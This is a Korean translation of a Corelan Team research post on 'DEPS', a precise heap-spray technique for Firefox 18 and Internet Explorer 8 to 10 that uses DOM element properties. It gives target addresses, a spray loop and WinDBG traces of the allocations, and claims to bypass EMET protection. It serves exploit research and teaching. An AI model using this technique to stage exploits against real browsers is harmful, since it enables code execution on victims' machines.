* 이 글은 Corelan Team에서 'corelanc0d3r'님께서 작성한 글을 번역한 것입니다. 개인적으로 궁금해서 번역한 글이고, 저의 영어 실력이 형편없는 관계로 실제 원본과 내용이 많이 다를 수 있으니 유의하시기 바랍니다. 혹시 내용 중에 잘못 된 부분이 있다면 수정해 주시면 감사하겠습니다. :)


[원제] DEPS - Precise Heap Spray on Firefox and IE10

2013년 2월 19일 by Corelan Team(corelanc0d3r)


1. 소개(Introduction)


지난주에 교육용 프로그램을 리뷰하고 업데이트하던 중에 최신 버전에서는 더 이상 작업하지 않는 파이어폭스 9에서의 힙 스프레이 스크립트를 발견하였다. 트릭I 은 파이어폭스 9와 인터넷 익스플로러 9에서 정밀한 힙 스프레이를 수행하기 위해 사용했었다. 그리고 이러한 변화가 파이어폭스나 인터넷 익스플로러 10 에서는 어떤 유용한 효과도 없다는 것을 깨달았다. 이러한 문제에서 정밀한 힙 스프레이나 다른 어떤 힙 스프레이를 수행하기 위해서는 더 이상 이런 고전적인 BSTR 스트링 할당에만 의존할 수 없겠다고 생각했다.


파이어폭스 9 힙 스프레이는 보기에도 좋지 않을 뿐만 아니라 매우 느리고, 익스플로잇에 대한 신뢰도 좋지 않을 것이다. 만약 힙 스프레이가 완료되고, 버그가 발생되기 전에 사용자가 브라우저 프로세스를 종료시킬 수 있는 기회를 얻는다면, 쉘(shell)을 볼 수 없을 것이다.


물론, 최신 브라우저에서 정밀한 힙 스프레이를 수행할 수 없다는 것을 의미하지는 않는다. Core Security에서 Federico Muttis와 Anibal Sacco은 최근 HTML5 스프레이에 대한 연구 결과를 공개하였다. 이는 최신 브라우저에서 힙 할당을 수행하기 위해 새로운 기술을 활용할 수 있는 좋은 방법을 제공한다. 이 기술의 장점은 HTML5가 인터넷 익스플로러나 파이어폭스에만 국한되지 않기 때문에 구글 크롬과 사파리와 같은 웹킷(Webkit) 기반의 브라우저에서도 가능하다는 것이다. Federico & Anibal은 HTML5 기반 스프레이 루틴을 생성할 수 있는 스크립트 소스를 공개했다. 이 스크립트(HTML5Spray.zip)는 여기서 다운로드 할 수 있다. 어쨌든, HTML5를 사용하지 않고, 다른 것을 시도해보기로 했다.


Use-After-Free 시나리오가 문제가 될 수 있는 브라우저에서 이미 해제된 객체를 재사용하기 위해 BSTR 스트링을 사용한다는 것은 이미 잘 알려진 사실이다. 이는 객체의 상단에 위치한 vtable 포인터를 발견할 수 있을 것이고, 해제된 객체를 BSTR 스트링으로 교체한 후, BSTR 헤더 필드가 정확하게 배치될 것이다. 다시 말해서 객체를 대체할 수는 있지만, 컨트롤하기 위한 무언가를 vtable 포인터로 속일 수는 없을 것이다.


이러한 문제를 극복하기 위한 기술은 DOM(Document Object Model) 엘리먼트(Element)를 기반으로 하는 것이다. 이 기술은 하나 이상의 DOM 엘리먼트(image, div 등)를 생성하고, 속성을 설정해야 하며, 해제된 객체에 쓰고자하는 페이로드(payload)를 포함해야한다. 예를 들어 image의 경우에는 .src 또는 .title 등의 속성이 될 수 있고, div 객체의 경우에는 .className이 고정 옵션이 되어야할 것이다.


어찌됐든 이렇게 정밀한 할당을 수행할 수 있기 때문에, 완전히 진행된 힙 스프레이를 위해 동일한 기술을 사용할 수 있다는 것을 확인해 보고 싶다. 일단 일부 크기로 실험해 본 후, 파이어폭스와 모든 버전의 인터넷 익스플로러와 함께 스크립트를 집어넣어 관리할 것이다. 이 힙 스프레이는 높은 메모리 영역에서 수행될 것이기 때문에 이전에 사용했던 파이어폭스 9와 인터넷 익스플로러 9에 대한 힙 스프레이보다 성능이 더 좋을 것이다. 또한 기본 EMET(Enhanced Mitigation Experience Toolkit) 힙 스프레이 프로텍션을 우회할 수도 있다.


2. 기술(The technique)


이 기술의 아이디어는 다수의 DOM 엘리먼트를 생성하고, 특정 값으로 엘리먼트 속성을 설정하는 것에 기반을 둔다. 이 개념을 버튼(button) 엘리먼트를 이용하여 테스트해 보았다. 그리고 나중에 다양한 엘리먼트를 조합하여 사용해 볼 수 있을 것이다. 그렇기 때문에 이 기술의 이름을 “DOM Element Property Spray”라고 지었다. 정보보안 업계에서는 혼란스럽게 4글자의 약어로 만드는 것에 대한 강한 욕구가 있는 것 같다. 그래서 이 기술의 이름을 "DEPS"로 결정했다. 만일 좋아하는 보안 어플라이언스가 DEPS 방지를 주장한다면 그것이 무엇인지 알 수 있을 것이다. 또는 모를 수도 있을 것이다. 다시 말하지만, 정밀한 할당을 유발하는 DOM 엘리먼트의 사용은 새로운 것이 아니다. 그러나 이 개념을 기반으로 한 힙 스프레이는 보지 못했다.


DEPS 기술은 다음 4단계로 이루어진다.


  • 페이지에 div 엘리먼트 삽입
  • 다수의 button 생성
  • 페이로드와 함께 title 속성 설정, 원하는 길이를 가지고 있는지 확인하기위해 substring() 사용
  • div에 button 추가


3. 스크립트(The script)


기본 스크립트는 다음과 같다.



여기에서 이 스크립트 파일(deps_corelan_ff_ie_spray.zip)을 다운받을 수 있다. 다운받은 압축 파일의 패스워드는 ‘infected’이다.


보시다시피 이 스크립트는 더 이상 0x0c0c0c0c에 위치한 ROP 체인의 시작을 얻는 것에 초점을 맞추고 있지 않다. 이제는 더 이상 직접 코드를 실행하지 않고(DEP를 먼저 해제하지 않고), vtable 역참조(dereference)를 위한 대상으로써 0x0c0c0c0c와 nop를 사용할 수 있기 때문에, 0x0c0c0c0c의 사용은 그 진가를 잃어버렸다. 그 위에 대상 주소를 네 번 같은 바이트로 구성할 필요가 없다. 할당은 4바이트로 정렬되어야 하고, 매번 정확한 지점을 공격하는데 문제가 없어야 한다.


document에서 div 엘리먼트는 플레이스홀더(placeholder)로 사용된다. 그래서 div_container.appendChild() 함수는 엘리먼트를 저장할 수 있고, 또 메모리에서 이 엘리먼트들의 타이틀 속성을 저장할 수 있다. 그리고 이것들을 그 곳에 계속 유지할 수 있다. 할당 크기로 인해서 모든 청크(chunks)들은 기본 힙의 VirtualAllocdBlocks 리스트의 일부가 된다.


스크립트의 현재 버전은 파이어폭스에서 0x20202210 또는 0x20302210을 대상으로 하고(사용한 반복 횟수에 따라 0x20302210이 매우 신뢰할 수 있었다.), 인터넷 익스플로러 8/9/10(XP/Win7/Win8)에서는 0x20202228 또는 0x20302228로 한다. 더 이상 정밀한 힙 스프레이를 수행하기 위해서 인터넷 익스플로러 버전을 구별할 필요가 없기 때문에 이는 매우 흥미로운 것이다. 실험한 결과로부터 0x20202228보다 더 신뢰할 수 있는 0x20302228을 발견하였다.


물론 그것이 필요하거나 원하는 일이라면, 스크립트에서 오프셋 값을 변경하고, 다른 주소로 ROP 체인의 실제 시작을 이동하는 것은 매우 쉬운 일이다. 이 높은 메모리 범위의 편리한 부작용은 아스키(ASCII)로 출력 가능한 문자로 구성된 주소를 포함한 더 높은 메모리 주소 영역을 공격해야 한다는 것이다. 그리고 타이트한 문자 제한을 가진 옛날 방식의 스택 버퍼 오버플로를 발견한 경우에는 몇 가지 추가적인 이득을 제공할 것이다.


만약 다른 엘리먼트 속성을 사용하려면, obj.style.fontFamily를 사용 해봐도 좋다. 사실 예측 가능한 주소를 얻기 위해 필요한 반복 횟수를 줄여야 동시에 다른 두 개의 속성을 설정할 수 있다.



마지막으로 이 기술은 이 시점에서 어떤 데이터 랜덤도, 또는 변수명과 eval()와 함께 보기 싫은 트릭도 필요로 하지 않는다. 또한 스프레이가 상대적으로 빠른 방법으로 전달될 수 있도록 보장하는 것을 돕는다.


4. 테스트 환경(Test environment)


모든 경우는 완전히 패치 된 버전의 운영체제에서 특정 브라우저의 최신 32비트 버전이 사용되었다. 테스트는 가상머신(VirtualBox, VMWare)과 물리머신에서 수행되었으며, 재부팅 후에 작동하도록 검증되었다.


모든 테스트는 윈도우 7에서 EMET 3.5 활성화 & 힙 스프레이 탐지/방지 설정과 함께 수행되었다.



윈도우 8에서는 기본 인터넷 익스플로러 10을 설치하여 테스트하였다.


5. 결과(Results)


윈도우 7에서 파이어폭스 18:



윈도우 XP에서 인터넷 익스플로러 8:



윈도우 7에서 인터넷 익스플로러 9:



윈도우 8에서 인터넷 익스플로러 10:



모든 경우에 “AAAABBBBCCCCDDDD...” 문자열(기본적으로 ROP 체인이 배치된 곳을 표시)을 포함한 청크의 힙 레이아웃은 다음과 같다.


 VirtualAlloc 청크 헤더(0x20 바이트) 

 Junk(공백)

 ROP 체인(AAAABBBBCCCCDDDD...)

 Shellcode

 Junk(공백)



6. 스프레이 분석(Spray analysis)


DEPS 힙 스프레이의 기본 버전을 실행할 때, 정확히 무슨 일이 일어나는가? 윈도우 XP SP3, IE8에서 일부 트레이싱(tracing)과 로깅(logging)을 살펴본다.


먼저 핵심 루틴을 변경하고, 자바스크립트에서 WinDBG와 상호 작용하기위해 Math.atan2() 함수를 추가한다.


for (var i = 0; i < 0x500; i++)
{
	Math.atan2(0xbabe, "[*] Creating object button....");
	var obj = document.createElement("button");

	Math.atan2(0xbabe, "[*] Assigning data to title.");
	obj.title = data.substring(0,0x40000-0x58); //aligned spray 

	Math.atan2(0xbabe, "[*] Let's AppendChild");
	div_container.appendChild(obj);
}


WinDBG에서 아래 브레이크포인트는 Math.atan2()의 메시지를 출력한다.


bu jscript!JsAtan2 ".printf \"%mu\", poi(poi(poi(esp+14)+8)+8);.echo;g"


다음으로 아래 브레이크포인트는 버튼이 생성되는 것을 확인하기 위해 설정한다.


bp mshtml!CButton::CreateElement+16 ".printf \"Object at %08x\",eax; .echo;"


html 페이지를 실행할 때, WinDBG는 "Creating object button" 메시지를 표시해야 하고, CreateElement 함수에서 멈춰야한다.


[*] Creating object button....
Object at 00214dc0
eax=00214dc0 ebx=6363c470 ecx=7c9101bb edx=00000058 esi=032114f0 edi=020bf190
eip=639944f7 esp=020bf130 ebp=020bf134 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CButton::CreateElement+0x16:

639944f7 8bf0 mov esi,eax


모든 서브시퀀스 할당 로그와 콜 스택 출력을 위해 RtlAllocateHeap에 브레이크포인트를 설정한다.


bp ntdll!RtlAllocateHeap+117 ".printf \"Allocate at %08x\", eax; .echo; k; .echo; g"


이렇게 브레이크포인트를 설정하고, 프로세스를 계속해서 실행하면, 한 번의 반복 내에서 모든 할당에 대한 정보를 얻을 수 있다. 한 번의 반복은 다음과 같은 할당들을 생성한다.


Allocate at 0293d588
Allocate at 0293ea00
Allocate at 02866780
Allocate at 039b0020 <--- First interesting allocation
Allocate at 0293eb68
Allocate at 03b50020 <--- Second interesting allocation
Allocate at 02917718
Allocate at 001eff28
Allocate at 001effd8
Allocate at 00217d18
Allocate at 0293d568

Allocate at 002150c0


첫 번째 흥미로운 할당은 정확히 디버깅 메시지 "Assigning data to title."가 출력된 후에 발생한다. 그리고 이는 다음과 같은 콜스택을 갖는다.


Allocate at 039b0020
ChildEBP RetAddr
020bf330 77124b32 ntdll!RtlAllocateHeap+0xeac
020bf344 77124c5f OLEAUT32!APP_DATA::AllocCachedMem+0x4f
020bf354 633a8242 OLEAUT32!SysAllocStringByteLen+0x2e
020bf368 6338f693 jscript!PvarAllocBstrByteLen+0x6c
020bf3d4 63390403 jscript!JsStrSubstrCore+0x1d8
020bf3f4 633a8561 jscript!JsStrSubstring+0x20
020bf45c 633a7127 jscript!NatFncObj::Call+0x103
020bf4e0 633a6650 jscript!NameTbl::InvokeInternal+0x2a2
020bf514 6339f39f jscript!VAR::InvokeByDispID+0x17c
020bf554 633a67c9 jscript!VAR::InvokeJSObj+0xb8
020bf590 633a77ff jscript!VAR::InvokeByName+0x170
020bf5dc 633a85c7 jscript!VAR::InvokeDispName+0x7a
020bf60c 633a83a9 jscript!VAR::InvokeByDispID+0xce
020bf7a8 633a5ab0 jscript!CScriptRuntime::Run+0x28ab
020bf890 633a59f7 jscript!ScrFncObj::CallWithFrameOnStack+0xff
020bf8dc 633a5743 jscript!ScrFncObj::Call+0x8f
020bf958 633891f1 jscript!CSession::Execute+0x175
020bf9a4 63388f65 jscript!COleScript::ExecutePendingScripts+0x1c0
020bfa08 63388d7f jscript!COleScript::ParseScriptTextCore+0x29a

020bfa30 635bf025 jscript!COleScript::ParseScriptText+0x30


첫 번째 할당이 jscript!JsStrSubstring을 사용했기 때문에, 이는 JScript 코드에 의해 실행되었다고 가정한다.


data.substring(0,0x40000-0x58);


두 번째 할당은 정확히 디버깅 메시지 "Let’s AppendChild"가 출력되기 전에 발생한다. 그리고 콜스택은 다음과 같다.


Allocate at 03b50020

ChildEBP RetAddr
020bf16c 63651871 ntdll!RtlAllocateHeap+0xeac
020bf190 6364130b mshtml!CAttrValue::InitVariant+0x154
020bf1c8 63641259 mshtml!CAttrArray::Set+0x174
020bf1f0 636518d7 mshtml!CAttrArray::Set+0x51
020bf224 63651849 mshtml!CAttrArray::SetString+0x44
020bf23c 6366913f mshtml!BASICPROPPARAMS::SetString+0x69
020bf2a4 63610e83 mshtml!BASICPROPPARAMS::SetStringProperty+0x200
020bf2cc 63610eb8 mshtml!CBase::put_StringHelper+0x64
020bf2e8 6366906f mshtml!CBase::put_String+0x29
020bf318 636430c9 mshtml!GS_BSTR+0x1ab
020bf38c 6366418a mshtml!CBase::ContextInvokeEx+0x5d1
020bf3dc 6362b6ce mshtml!CElement::ContextInvokeEx+0x9d
020bf408 63642eec mshtml!CInput::VersionedInvokeEx+0x2d
020bf458 633a6d37 mshtml!PlainInvokeEx+0xea
020bf498 633a6c75 jscript!IDispatchExInvokeEx2+0xf8
020bf4d4 633a9cfe jscript!IDispatchExInvokeEx+0x6a
020bf594 633a9f3c jscript!InvokeDispatchEx+0x98
020bf5c8 633a77ff jscript!VAR::InvokeByName+0x135
020bf614 633a75bf jscript!VAR::InvokeDispName+0x7a
020bf7a8 633a5ab0 jscript!CScriptRuntime::Run+0x1f27


이번 할당은 SetString을 사용했기 때문에, 실제로 속성에 데이터를 할당한 것으로 가정한다.


여기서 다음과 같은 조합을 사용하였다.


  • substring() 사용
  • DOM 엘리먼트 속성 이용
  • 이전 HTML 문서에서 생성된 div에 엘리먼트 추가
  • 데이터 복사본 생성 보장
  • 메모리에 할당


substring()으로 만들어진 문자열은 결국 사라지지만, SetString()으로 할당된 데이터는 메모리에 남아있다.


(thanks sinn3r for your windbg analysis of the spray)


7. 관련 게시글


Exploit writing tutorial part 11 : Heap Spraying Demystified

Metasploit Bounty ? the Good, the Bad and the Ugly

Root Cause Analysis ? Memory Corruption Vulnerabilities

Heap Layout Visualization with mona.py and WinDBG

HITB2012AMS Day 1 ? Window Shopping

Many roads to IAT

mona.py ? the manual

Universal DEP/ASLR bypass with msvcr71.dll and mona.py

Jingle BOFs, Jingle ROPs, Sploiting all the things… with Mona v2 !!

Corelan T-Shirt contest ? Derbycon 2012



-----------------------------------------

[출처] Corelan Team(corelanc0d3r)

https://www.corelan.be/index.php/2013/02/19/deps-precise-heap-spray-on-firefox-and-ie10/



AND